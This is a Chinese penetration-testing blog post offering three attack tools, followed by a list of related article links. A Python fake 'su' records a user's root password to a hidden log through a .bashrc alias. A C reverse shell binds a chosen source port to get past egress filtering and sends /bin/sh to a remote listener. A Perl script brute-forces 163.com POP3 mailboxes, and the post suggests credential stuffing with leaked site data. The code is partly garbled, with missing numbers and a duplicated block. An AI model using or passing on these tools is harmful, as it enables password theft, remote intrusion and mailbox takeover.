渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用。

一、记录root密码小工具

root.py

#!/usr/bin/python
import os, sys, getpass, time
current_time = time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su.log" //密码获取后记录在这里
#CentOS
#fail_str = "su: incorrect password"
#Ubuntu
#fail_str = "su: Authentication failure"
#For Linux Korea //centos,ubuntu,korea 切换root用户失败提示不一样
fail_str = "su: incorrect password"
try:
passwd = getpass.getpass(prompt='Password: ');
file=open(logfile,'a')
file.write("[%s]t%s"%(passwd, current_time)) //截取root密码
file.write('n')
file.close()
except:
pass
time.sleep()
print fail_str //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

二、设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。

比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

#!/usr/bin/python
import os, sys, getpass, time
current_time = time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su.log" //密码获取后记录在这里
#CentOS
#fail_str = "su: incorrect password"
#Ubuntu
#fail_str = "su: Authentication failure"
#For Linux Korea //centos,ubuntu,korea 切换root用户失败提示不一样
fail_str = "su: incorrect password"
try:
passwd = getpass.getpass(prompt='Password: ');
file=open(logfile,'a')
file.write("[%s]t%s"%(passwd, current_time)) //截取root密码
file.write('n')
file.close()
except:
pass
time.sleep()
print fail_str //打印切换root失败提示  
#include
#include
#include
#include
#include
void error(char *msg)
{
perror(msg);
exit();
}
int main(int argc, char *argv[])
{
int sockfd, portno, lportno,n;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
struct hostent *server;
char buffer[];
if (argc < ) {
fprintf(stderr,"usage %s hostname port LocalPortn", argv[]);
exit();
} //三个参数,目标主机,目标主机端口,本地源端口
portno = atoi(argv[]);
sockfd = socket(AF_INET, SOCK_STREAM, );
if (sockfd < )
error("ERROR opening socket");
bzero((char *) &client_addr, sizeof(client_addr));
lportno = atoi(argv[]);
client_addr.sin_family = AF_INET;
client_addr.sin_addr.s_addr = INADDR_ANY;
client_addr.sin_port = htons(lportno); //设置源端口
if (bind(sockfd, (struct sockaddr *) &client_addr,
sizeof(client_addr)) < )
error("ERROR on binding");
server = gethostbyname(argv[]);
if (server == NULL) {
fprintf(stderr,"ERROR, no such host ");
exit();
}
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr,
(char *)&serv_addr.sin_addr.s_addr,
server->h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < ) //连接
error("ERROR connecting");
dup2(fd, );
dup2(fd, );
dup2(fd, );
execl("/bin/sh","sh -i", NULL); //执行shell
close(fd);
}

用法:

  1. gcc client-port.c -o port
  2. chmod +x port
  3. ./port  你的IP 你的监听端口 本地的源端口

如 ./port http://www.91ri.org 80 80

成功反弹shell 提权成功

三、邮箱爆破脚本

某个时候,需要爆破一批邮箱。

Burp163.pl

#!/usr/bin/perl
use Net::POP3;
$email="pop.163.com"; //设置pop服务器地址 qq为pop.qq.com
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
print $pop->banner();
$pop->quit;
$i=;
open(fp1,"user.txt");
@array1=<fp1>;
open(fp2,"pass.txt");
@array2=<fp2>; //从文件中获取邮箱用户名及密码
foreach $a(@array1) {
$u=substr($a,,length($a)-);
$u=$u."@163.com";
foreach $b(@array2) {
$p=substr($b,,length($b)-);
print "cracked with ".$u."-----".$p."n";
$i=$i+;
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
$m=$pop->login($u,$p); //尝试登录邮箱
if($m>)
{
print $u."------------".$p."----"."success"."n";
$pop->quit;
} //成功登录
else
{
print $u."------------".$p."----"."failed"."n";
$pop->quit; //登录失败
}
}
}
print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

  1. $email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说:这个有点鸡肋吧?万一邮箱的密码很复杂。

呵呵。

搞到了一个小站的数据,用这个程序批量测试密码是否就是邮箱密码。

呵呵,我啥都没说。

这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

短小实用 渗透用的Python小脚本的更多相关文章

  1. 分享一个刷网页PV的python小脚本

    下面分享一个小脚本,用来刷网页PV. [root@huanqiu ~]# cat www.py #!/usr/bin/python# coding: UTF-8import webbrowser as ...

  2. 分享几个python小脚本

    by 梁凯 今天我想给大家分享几个python脚本,分别是: 1.公司访问外网认证脚本(最初有同事写过,我优化了一下). 2.统计周报系统所有同事的最近一篇周报. 3.统计测试技术分享里指定一个月所有 ...

  3. python 小脚本升级-- 钉钉群聊天机器人

    一则小脚本(工作中用) 在这篇文章中写的监控的脚本,发送监控的时候 是利用的邮箱,其实在实际,邮箱查收有着不方便性,于是乎升级, 我们工作中,经常用钉钉,那么如果要是能用到钉钉多好,这样我们的监控成功 ...

  4. python小脚本(18-11.10)-修改excle后批量生成,作用:导入数据时,系统做了不能导入重复数据时的限制时使用 -本来是小白,大神勿扰

    from testcase.test_mokuai.operation_excle import OperationExcleimport shutil class test_daoru(): #一个 ...

  5. 第一个python小脚本

    第一个python小实验 前言 作为一个工作1年的linux运维搬砖师来说,发现没点开发能力真的是不好混啊.于是下定决心学习python! 直接上刚写的语句(大神莫鄙视) 通过控制台输入一个账号密码, ...

  6. 网站渗透常用到的Python小脚本

    0×00渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评. 0×01记录root密码小工具 root.py ...

  7. Python小脚本程序

    本文旨在搜集最简单最原子性的代码块,简单清晰容易阅读,然后由用户自己组合.Python代码排版请自行修改. 这里是索引目录: 1. 下载网站文件 2. 下载网站多个文件 1. 下载网站文件 impor ...

  8. 将二级目录下的文件合并成一个文件的Python小脚本

    这个小程序的目的是将二级目录下的文件全部合并成一个文件(其实几级目录都可以,只要做少许改动) #coding:utf8 import sys, os def process(path): new_fi ...

  9. [ python ] 小脚本及demo-持续更新

    1.  备份文件并进行 md5 验证 需求分析: 根据需求,这是一个流程化处理的事件. 检验拷贝文件是否存在,不存在则执行拷贝,拷贝完成再进行 md5 值的比对,这是典型的面向过程编程: 代码如下: ...

随机推荐

  1. JVM系列一:JVM内存组成及分配

    java内存组成介绍:堆(Heap)和非堆(Non-heap)内存 按照官方的说法:“Java 虚拟机具有一个堆,堆是运行时数据区域,所有类实例和数组的内存均从此处分配.堆是在 Java 虚拟机启动时 ...

  2. 每天学一点-Jquery判断checkbox是否为选中状态

    if ($("#ctl00_ContentPlaceHolder1_IsLimitedService").attr("checked") ==true)

  3. 常见mongo命令

    @(编程) 查询 db.getCollection('SalaryEntity').find({"Month" : "201601"}) db.getColle ...

  4. USB枚举过程(1)

    总的过程 ① host检测到device,reset 获取设备描述符 host发获取设备描述符请求 ->setup ->data0 <-ack Divice 返回设备描述符 -> ...

  5. 什么是S-OFF,什么是S-ON,HBOOT命令,玩转Android

    什么是S-OFF?S代表 Security Lock,是安全锁,保护锁的意思.S-OFF就是安全保护关,S-ON就是安全保护开.Secure Lock 就是安全锁.是硬件设计厂商用于保护固件不被刷写而 ...

  6. Classifier4J的中文支持

    Classifier4J是一个轻量级的分类工具,支持贝叶斯分类.向量空间模型.信息摘要等.然而它却不支持中文,异常信息大致如下: Exception in thread "main" ...

  7. LDA(Latent Dirichlet Allocation)

    转自:http://leyew.blog.51cto.com/5043877/860255#559183-tsina-1-46862-ed0973a0c870156ed15f06a6573c8bf0 ...

  8. APP接口版本兼容的问题

    现在基本每个公司都做APP,所以大家都面临 APP接口版本兼容的问题. iOS和android 要不断开发新版本,很多服务端开发都是在以前接口的逻辑上进行修改.新的APP和接口开发后,接口如何兼容老的 ...

  9. vss使用详解

    下面已VSS6.0为主: 一:安装VSS6.0 安装过程中可能会提示 退出,禁止(abort)  重试(retry)  忽略,跳过(Ignore)  ,我们选 Ignore  跳过此项, 路径自己选择 ...

  10. Android vector标签 PathData 画图超详解

    SVG是一种矢量图格式,是Scalable Vector Graphics三个单词的首字母缩写.在xml文件中的标签是<vector>,画出的图形可以像一般的图片资源使用,例子如下: &l ...